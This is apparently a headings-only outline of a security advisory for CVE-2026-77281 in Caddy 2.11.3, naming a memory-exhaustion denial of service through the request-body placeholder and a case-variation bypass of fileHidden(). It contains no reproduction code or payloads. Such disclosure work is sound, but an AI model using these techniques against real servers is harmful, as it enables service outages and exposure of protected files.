Reproduction (real Caddy 2.11.3, 512 MB container cap)

Real-world exploitability

Suggested fix

Issue 3: fileHidden() case-sensitive pattern bypass — exposes "hidden" files via case variation

Root cause

Reproduction (real Caddy 2.11.3)

Why this matters in practice

Suggested fix

Reproduction kit

Reporter

CVE-2026-77281 (GCVE-0-2026-77281)

Tags

Sightings

Nomenclature

Related by attack behaviour

Issue 2: Unbounded body buffer via `{http.request.body}` placeholder — memory exhaustion DoS

Issue 3: `fileHidden()` case-sensitive pattern bypass — exposes "hidden" files via case variation